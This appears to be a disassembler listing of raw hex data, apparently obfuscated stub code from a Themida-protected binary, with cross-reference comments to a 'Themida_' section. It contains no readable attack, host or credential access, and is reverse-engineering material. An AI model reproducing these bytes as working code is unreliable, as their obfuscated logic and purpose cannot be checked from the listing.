		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 90C35747h, 95387CDEh
		dd 259D8973h, 8B06101Dh, 1023819Dh, 13E806h, 73940000h
		dd 621D7F0Ah, 0AB070137h, 0F86E0861h, 115ABAD0h, 5EF78B2Ah
		dd 100E381h, 870F0000h,	6, 3169BD8Bh, 0DB0B0610h, 0AD850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0FA35ECC3h, 800534A5h, 0BD83E8E0h, 613D896h
		dd 28840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1B042444h, 42000000h, 73C5C352h, 0CDD10A65h
		dd 7FE9D018h, 0C7000000h, 13D89685h, 106h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 0BFB5F1D6h, 5A966AF7h, 108E0Fh, 0BE90000h, 0DC000000h
		dd 8F18521Fh, 0FB5D5FE5h, 800F3FC6h, 1,	30E9FCh, 81660000h
		dd 0C74887F6h, 13D89685h, 6, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0C63CA572h
		dd 9D8D823Ah, 6102381h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0B7C35646h, 0D5D91D5h, 81AF7B82h, 0FFFEFF23h
		dd 0DB8C66FFh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	48C35141h, 0E7D8F0A1h, 0F2432A13h, 0A5B58B76h
		dd 0F606100Ah, 840F04C3h, 2Eh, 95FFF98Bh, 6100DC9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1FC35747h, 18AE4386h
		dd 895073FBh, 16E92404h, 6A000004h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 2907C352h
		dd 6E9h, 0CE69C400h, 0B0600BB2h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 643C63B0h
		dd 57F1A8ACh, 8B6670E6h, 0CCB660F1h, 0BC9B589h,	0E4610610h
		dd 56006A71h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 0D8B60F85h, 0DE9h, 194E1F00h, 0A0038E1h
		dd 253B18EEh, 6BA5339h,	6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 5152C355h
		dd 57E85AFBh, 53A8C7DBh, 6AC38B5Eh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B93C357h
		dd 10170DB5h, 4E8C106h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch
		dd 0CFC35242h, 3186FD1Ah, 89CE0EB3h, 6AE2F766h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0A38BC357h, 8B5117C6h, 102E81B5h, 2840F06h, 8B000000h
		dd 0FD82BF9h, 288h, 93FE8B00h, 5E9h, 892B9500h,	0E9508608h
		dd 0Bh,	2AA04AA2h, 1D58EFB2h, 93ECAFD5h, 1E3D8D89h, 0B5FF0610h
		dd 6100055h, 16BDB58Bh,	5E90610h, 89000000h, 837EEB97h
		dd 31C995FFh, 95890610h, 61000E9h, 858900B0h, 6100D65h
		dd 6A70E6h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 5D1E76C3h, 0E98406A4h, 5,	0C4F58A1h, 15B58927h
		dd 8906101Eh, 1008358Dh, 6A71E406h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0BFFDC353h
		dd 41B32DCh, 3CF6BF0Fh,	22830F61h, 89000002h, 101169B5h
		dd 0D8B60F06h, 1B61B58Bh, 6BA0610h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 0CF1BC350h, 0C1E1A0E7h, 6E840C3h, 0BD000000h, 9B2F7172h
		dd 0AD952957h, 5F061030h, 6AC38Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 4BFCBEC3h, 0F60C5023h
		dd 0C118A97Fh, 870F04E8h, 6, 0EA9BD33h,	0F7660610h, 0FE9E2h
		dd 80B0000h, 0AE8E35E8h, 0AB95207Dh, 0B7C6C35Fh, 6AD82BD2h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 868BC355h, 9D8B6058h, 6103145h, 16299D29h
		dd 2B610610h, 56880FD8h, 6A000001h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0C08DC351h
		dd 7B983h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0B58B5EC3h, 6101F1Dh, 0C183F8h
		dd 89F38B66h, 100BDDBDh, 0FD93B06h, 0FC86h, 0D98C6600h
		dd 9E9h, 6D311800h, 9FB9D6D3h, 0C1F65FA6h, 0D5840F04h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 0FBB2C353h, 63D86C2Dh,	8986BCA4h
		dd 10002DBDh, 0C995FF06h, 6A06100Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 5785C350h
		dd 0ADB58BAEh, 5B06100Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 50C35646h, 1E8A0FF0h,	0E8000000h, 12h
		dd 45480D73h, 241E3F24h, 0C364B19Eh, 8937735h, 0BD89E0E0h
		dd 61001F1h, 66C32B5Fh,	343DF38Bh, 0F000008h, 2F86h, 41958900h
		dd 0E9061031h, 31h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 6EC35343h, 8D89B152h,	61031A9h, 8B60C08Bh
		dd 10145595h, 2DE8006h,	8BC38B61h, 50006AD8h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 0A40E0A8h
		dd 85C7522Eh, 610297Dh,	1CC9F511h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 23C35545h, 10865A51h, 8B6006EEh
		dd 8B61F5C2h, 8B6653C0h, 0BD815EF2h, 6100055h, 7D0h, 51850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 0A71294C3h, 0C800F24h, 60000000h,	0A8C68166h
		dd 6190BE7Ah, 566115B5h, 11898589h, 0FF5F0610h,	10005585h
		dd 68A0F06h, 89000000h,	1022F59Dh, 890F06h, 0FF000000h
		dd 100055B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1C04h, 0C3524200h, 83468421h, 21F04046h, 0C995FF3Eh
		dd 6A061031h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 32A7C357h, 5D420C7Ch, 0E898B520h
		dd 13h,	8D669244h, 659A4ECEh, 0D19AD28Bh, 0FEACD2BDh, 5FD5AAACh
		db 90h
byte_58963D	db 0B8h, 78h, 56h	; DATA XREF: Themida_:0054D190o
		dd 6A1234h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 5657BDC3h, 8E230966h, 8DF8B70Fh, 13E1D29Dh
		dd 0F894E906h, 6AFFFFh,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0E9FA22C3h, 11h,	7FC4CFE2h, 8EDB4017h
		dd 0F2E84F74h, 0B52A75BDh, 8195899Ah, 0E9061009h, 9, 28FB8F8Eh
		dd 6946BAE4h, 0EBC18BA8h, 4, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 16C14A6Dh
		dd 24BF66B1h, 51006ABCh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 305B692Bh, 5F254979h, 0E860539Dh
		dd 0Ch,	0B88E57E5h, 5671DB19h, 82984D08h, 83BF69BFh, 0F88B5E0Bh
		dd 0B9858D61h, 6A061013h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 80ECC356h, 518F4481h
		dd 6CC51EAEh, 702588BEh, 28CABF06h, 8D895A4Bh, 6100A85h
		dd 8B665090h, 6A90F3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 66FBBDC3h, 0BE6624C4h, 6AF6B7h
		dd 4880Fh, 0BF660000h, 6AD4B8h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 5EC35141h, 0B2A8B1Dh, 66F147F8h
		dd 7F21F681h, 0E421858Dh, 6A0613h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 8BF401C3h, 0B58BC6A3h
		dd 6101D29h, 0BE05C083h, 7B8BE655h, 0FABE6690h,	6A9050BFh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 5157C357h, 0ED48A5C6h, 99BD89D5h,	6A061031h
		dd 29006A00h, 10106D95h, 1995FF06h, 8B06101Dh, 1007F1B5h
		dd 6810F06h, 8B000000h,	100FE5B5h, 0D89D8D06h, 6A0613AFh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1A042444h
		dd 40000000h, 2216C350h, 0E179589Bh, 9E998h, 0F3370000h
		dd 2BF1542Dh, 38BF315h,	1013F1B5h, 66D3FF06h, 85FFF38Bh
		dd 6101419h, 0DD4E9h, 0E800h, 815D0000h, 13E42BEDh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 0D22F725Bh, 37DB2776h, 840Fh, 8F0F0000h, 9, 3830Fh
		dd 0B70F0000h, 55BD81FFh, 0D0061000h, 0F000007h, 16B86h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 2AC1632h, 81669B56h, 8B0E65EFh, 1005299Dh
		dd 0E1B58B06h, 81061007h, 100E3h, 2D852900h, 0B06100Bh
		dd 0EF850FDBh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 8B7EC357h, 176140DDh
		dd 0E252BD83h, 0F000613h, 7C84h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 360B78F1h
		dd 0BE66B606h, 0C1E9D1FEh, 6A000000h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 60E4C350h
		dd 9E8h, 75B46400h, 67D5459Bh, 0BF0FB159h, 8F0F5FFAh, 16h
		dd 11E9h, 0E13E0100h, 0D2949F77h, 2B0FC7Dh, 0AD684932h
		dd 2361D81Dh, 100A49B5h, 5285C706h, 10613E2h, 81000000h
		dd 438397DFh, 5AE913h, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0A64F2C3h, 0DDD72CBAh
		dd 37E7D34h, 101BA1BDh,	0AA6BBE06h, 85C70869h, 613E252h
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0D5C35040h
		dd 0FC4E766Bh, 5299D8Dh, 23810610h, 0FFFFFEFFh,	6ADB8C66h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0C611C352h, 650F2F65h, 6610BB2Eh,	0F500F681h
		dd 0F04C3F6h, 5784h, 52006A00h,	3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 8B66521Dh, 0BF6650F9h
		dd 0FF5FD5E9h, 100DC995h, 28B0F06h, 8B000000h, 605290F1h
		dd 0E77ABE66h, 5F619BB5h, 0FE950h, 0DAF40000h, 6DAAF4FAh
		dd 80A3AD7Eh, 0A06DECDEh, 0FE8B9077h, 3B7E9h, 0AE900h
		dd 40800000h, 14E998EAh, 561A6EFAh, 0AE800B0h, 52000000h
		dd 1DBCB146h, 1D0BD591h, 0EDB58996h, 5F061015h,	31F870E6h
		dd 1004CD95h, 6A71E406h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 247EC357h, 8D0F7Eh
		dd 89000000h, 10107995h, 8DBD8B06h, 0F061006h, 6AD8B6h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 71C88C3h, 7C3AEDCh, 6F7BE66h, 6BAh, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 8B30216Ah, 4E8C1C3h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 28C35343h, 6646BAE4h,	6AE2F7h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 85891DC3h, 6100809h,	6AD82Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1D0424h, 56460000h, 0B7E403C3h, 0C7C93890h
		dd 8BD950F6h, 1022A9B5h, 6E806h, 0F5EE0000h, 6D45236Eh
		dd 9E853h, 7DE60000h, 9FDC2628h, 5F547AA3h, 89505F5Eh
		dd 8529241Ch, 61015C1h,	55B5FFh, 12E80610h, 0E7000000h
		dd 6E09FB5Eh, 8A1FC4EFh, 78CE0FB2h, 8663F27Eh, 0D1B531CFh
		dd 5E06102Fh, 31C995FFh, 9D890610h, 6101C6Dh, 0B58900B0h
		dd 6100559h, 6A70E6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 71E418C3h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0C7C35040h,	9F7C932Bh, 0B70F7803h
		dd 0F613CFAh, 1E783h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 4DE0CB8Ch, 0F5350900h
		dd 2A059D89h, 0F78B0610h, 8BD8B60Fh, 1009B1B5h,	6BA06h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 5A9210C3h, 0AD2FF379h, 0C38BB88Ah, 23E9BD8Bh
		dd 0E8C10610h, 50006A04h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 9A46ED8Bh, 897D1FEDh
		dd 1010C185h, 0E2F76606h, 0BE8h, 37809200h, 96B6AA8Fh
		dd 0C6507D1Eh, 7599501h, 2B5F0610h, 0FD8D89D8h,	58061006h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 85C35646h
		dd 0EE81664Ch, 0D82B212Ah, 10A880Fh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 5EECA1C3h
		dd 2DD1B58Bh, 0B52B0610h, 610088Dh, 0B9FA8B66h,	7, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F3C35141h, 99DFE30Bh
		dd 660D7A12h, 83F9F88Bh, 6A00C1h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0D1555EC3h, 0B79A30E6h
		dd 0BE153276h, 376EB34Ch, 0D93BF08Bh, 7A860Fh, 0BF0F0000h
		dd 0D98C66FEh, 0F04C1F6h, 5D84h, 0AC10BF00h, 95FF1744h
		dd 6100DC9h, 5BFABF0Fh,	1925BD23h, 0C32B0610h, 173261BEh
		dd 5DB50350h, 3D061004h, 834h, 30860Fh,	6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 6022CDC3h, 60B578ABh, 0E9B2EEC4h, 14h, 2111BD33h, 0C08B0610h
		dd 0E959D89h, 0B5230610h, 6100B0Dh, 0D88BC38Bh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 27C35242h, 0B5FD8353h
		dd 2840Fh, 0FA8B0000h, 0AE9h, 0C6163C00h, 5534F5ECh, 0C781BF2Fh
		dd 10238185h, 47ADD906h, 0DE852h, 260A0000h, 0ED4B762Eh
		dd 2EFC7306h, 89129DECh, 102FADBDh, 0C08B5F06h,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 2AC35545h, 0C0ECA379h
		dd 0CF816668h, 9D01CDC4h, 61009E5h, 55BD81h, 7D00610h
		dd 850F0000h, 29h, 1D49B58Bh, 85FF0610h, 6100055h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 5CC35141h, 55B5FF64h
		dd 6A061000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 1758C355h, 13445563h, 31C995FFh
		dd 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 89A608C3h, 1013F1B5h, 83409006h, 101061BDh
		dd 840F0006h, 0C0h, 2969BD83h, 0F000610h, 0B384h, 9BD8B00h
		dd 0FF061023h, 10106195h, 0DE906h, 5CAC0000h, 0FBD09F93h
		dd 68A0988Bh, 0BD00CCAh, 8D840FC0h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 89F1C356h, 1004A995h, 14E906h, 0DAA30000h, 0EC97343Fh
		dd 71AD74F4h, 9B6688F0h, 3B41A81Ch, 8D8D481Ch, 6104E85h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 34C35545h
		dd 0E063341Bh, 6860F75h, 8B000000h, 100901BDh, 81665706h
		dd 5EFFE7E7h, 5B8h, 68D0F00h, 8B000000h, 1012C1BDh, 0BEE1FF06h
		dd 53F2A8C9h, 22D5BD83h, 0F000610h, 5B984h, 69BD8300h
		dd 61029h, 5AC840Fh, 8D290000h,	6101189h, 0BE5BD8Bh, 8D8D0610h
		dd 6100BF5h, 8899D29h, 1C70610h, 44B27C84h, 14E8h, 7F38F600h
		dd 9CA68A7Bh, 348C24F4h, 414EB7E2h, 1C35C661h, 0D99D8922h
		dd 5F06101Dh, 81F0B70Fh, 99CFCB01h, 0D0BF6614h,	441C7D2h
		dd 0CE706B34h, 0F6E68166h, 4418138h, 31D6D710h,	14E5BD01h
		dd 6A0610h, 23619589h, 858D0610h, 6100BF5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0AAC35747h, 18B58D31h
		dd 90F50610h, 0F0BE6650h, 9D31909Fh, 6101079h, 22D595FFh
		dd 6A0610h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 0AF2A07C3h, 8D8D09ABh, 6100BF5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C5C35242h, 0F3B3A438h
		dd 0C0B86F49h, 5619589h, 0B70F0610h, 1C7FAh, 52000000h
		dd 1E1BD2Bh, 0C75F0610h, 441h, 6A0000h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 81047CC3h
		dd 0A622E3E0h, 840FC00Bh, 81h, 1331BD8Bh, 8D8D0610h, 6104E85h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 2C35040h
		dd 8BAA2C3Fh, 1022C9BDh, 5B806h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 2ACC21C3h
		dd 0D371CE26h, 0E1FFD3FAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 15h, 59C35545h, 8BF98BC3h,	100205BDh, 0F58D8D06h
		dd 0BE06100Bh, 36158328h, 727C01C7h, 0B58B44AAh, 6100C51h
		dd 12E9h, 5613F300h, 0B69D282Ah, 2E5F2067h, 0C21D1FCDh
		dd 81A89D52h, 99CFCB01h, 50006A14h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 41C72280h, 78753C04h
		dd 0BF0F60CEh, 51BD8BC1h, 61061029h, 10044181h,	6A31D6D7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0A9E6C353h, 57F987A1h, 0FE9B2h, 2CA60000h
		dd 39B54323h, 7F84B43h,	642B7AE8h, 60006AADh, 0BB97CFBFh
		dd 59B58B6Bh, 61061016h, 0BF5858Dh, 89500610h, 57BE2404h
		dd 813D21FAh, 9A3A93EEh, 0D595FF27h, 6A061022h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 5301C353h, 47C031F5h, 0E852AB49h, 11h, 46DF6AC6h, 2BA31E64h
		dd 0E03B352Fh, 0C45D7E9Dh, 0F2B70F95h, 8D8D5E5Eh, 6100BF5h
		dd 0F8D8589h, 1C70610h,	0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 7FC35242h
		dd 441C7h, 9000000h, 100FED9Dh,	0FC00B06h, 0C484h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0BAE18B82h, 4CCD5DD1h, 279DBD2Bh, 0DE80610h,	0A8000000h
		dd 687135EDh, 58CD9165h, 36B3F9EBh, 8E9h, 0F04C1900h, 60D167DDh
		dd 8D8D5F00h, 6104E85h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0AEC35343h, 5A67C091h, 81660D3Ch, 0E882B5F6h
		dd 12h,	25C6D135h, 59637B06h, 0A7280485h, 0D0B651Ah, 0F08B8270h
		dd 5B85Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 180424h, 55450000h, 1C3B41C3h, 0BF0FFA48h, 52E1FFFFh
		dd 880F52h, 5F000000h, 0F58D8D5Eh, 6A06100Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0C79BC355h, 0CA95A501h, 57006A54h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 57E868DEh
		dd 0CB01815Eh, 8B1499CFh, 100C21B5h, 441C706h, 0CE5F5969h
		dd 41815E51h, 0D6D71004h, 0DB58931h, 0BE06101Eh, 1EB51CCh
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 527F19C3h, 20BF9B38h, 8D6FCD94h, 100BF585h
		dd 0B1BD8B06h, 50061021h, 1C410BFh, 24048934h, 241DBD33h
		dd 95FF0610h, 61022D5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 5EC35242h, 45DB8D75h,	8D962D15h, 100BF58Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 11E9EBh,	444D0000h, 1B7A38CBh, 9FB3F0C2h
		dd 8B827D30h, 0C7D1BAE1h, 1, 53006A00h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0E4901315h
		dd 9254F862h, 441C7h, 8B000000h, 103091B5h, 0FC00B06h
		dd 9184h, 0D5858900h, 8D06102Fh, 104E858Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 5B8891Bh, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 9EEBC350h, 0EE6119CEh
		dd 1C8ED385h, 130DB58Bh, 81660610h, 0FF5A89EFh,	57006AE1h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0CDD826DCh, 9448E619h, 890F1185h, 6,	7218589h, 0CA030610h
		dd 0FFF248E9h, 51006AFFh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 6AC18B89h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0F7C0C352h
		dd 4EB2105h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 6DC35646h
		dd 0CE73BE59h, 36BE2CBEh, 6A7B8E51h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0C291C352h
		dd 9A6AF3BEh, 0B9858DF9h, 8B061013h, 101391B5h,	8D0F5006h
		dd 0
		dd 33240489h, 101CF1B5h, 6A006A06h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 376C355h
		dd 0FC6F8DC1h, 0BC9C20Ah, 100A09BDh, 6A006A06h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0FD3CC356h, 0B8858D48h, 290613F3h, 102E69BDh, 5C08306h
		dd 91BD8BF5h, 5006101Dh, 6A240489h, 130ABE00h, 6A7248h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 9FC35343h
		dd 0E5FC40E2h, 68AA81EEh, 0ABE66F4h, 0AE8DFh, 1AC20000h
		dd 0C9873132h, 0A821F2A4h, 0FF5EF28Bh, 101D1995h, 0D7816606h
		dd 85311266h, 6101575h,	0AFD89D8Dh, 6A0613h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 8B7871C3h
		dd 0FF4BC507h, 50006AD3h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0E86B7176h, 0Bh, 352B51E2h
		dd 0D67E746Fh, 819696FEh, 0B88E9FCFh, 0EE95F4Dh, 2000000h
		dd 98B409F1h, 80787083h, 0C9E7DE9Dh, 1985FFC4h,	0E9061014h
		dd 8BCh
dword_58A828	dd 0E8h, 0ED815D00h, 613F3C2h, 8E9h, 758AC800h,	0B8983311h
					; DATA XREF: Themida_:0054DC60o
		dd 81F28B73h, 100055BDh, 7D006h, 92860F00h, 6A000001h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 8865C350h, 87D642BFh, 3D8D891Bh, 8B061007h
		dd 1028019Dh, 0E38106h,	66000001h, 0E236EF81h, 850FDB0Bh
		dd 0BEh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 16h,	89C35141h, 0BD832991h, 613F21Dh, 3C840F00h, 0E8000000h
		dd 0Bh,	0F2A94955h, 0BDC11374h,	660932C2h, 0E95FF28Bh
		dd 0AAh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Bh,	89C35141h, 828D5252h, 0C7BF5DFBh, 13F21D85h, 106h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1704h
		dd 0C3574700h, 3F2308FCh, 59E9h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 66D87CFEh
		dd 188ECF81h, 0FCF3D781h, 85C7060Fh, 613F21Dh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F7C35545h
		dd 3AD99C61h, 0BF66A42Bh, 9D8D6D87h, 6102801h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 4AC35646h, 3FC0F946h
		dd 0F600D1Ah, 687h, 840F00h, 80000000h,	0F61B4CFh, 2381F7BFh
		dd 0FFFFFEFFh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0A4C35646h, 402D8795h, 0DB8C66F5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 12C35141h, 681BD834h
		dd 0FC6B2B7Fh, 0FCF88B66h, 0F04C3F6h, 5884h, 95FFF500h
		dd 6100DC9h, 0A19BD03h,	0F900610h, 0E80h, 9E900h, 183A0000h
		dd 7510D3E7h, 50870CAFh, 4890Fh, 0BF660000h, 6A904125h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 0ECC1C353h, 22D51E7Eh, 0BD8B50D8h, 61008C1h
		dd 4BBE95Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 300955C3h, 0A6F66527h, 0CF818CB0h
		dd 66B4D971h, 70E600B0h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 16h, 6CC35141h, 5E51AE29h,	16A1BD8Bh, 71E40610h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 2DC35545h
		dd 0B60F520Dh, 55006AD8h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0BD8BF97Bh, 6101B61h
		dd 6BAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 4BBE4AA8h, 0E0B88F35h, 0F3B70F51h
		dd 6AC38B5Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0C00AC350h, 0F5BFC366h, 5B58B05h
		dd 0C106101Dh, 858904E8h, 610191Dh, 1915BD89h, 0F7660610h
		dd 26BE66E2h, 6AD82BB7h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 40AC352h, 93CEB407h
		dd 5E9h, 0FDFBE200h, 50500D7Dh,	5E852h,	0C79F0000h, 0FB922FCh
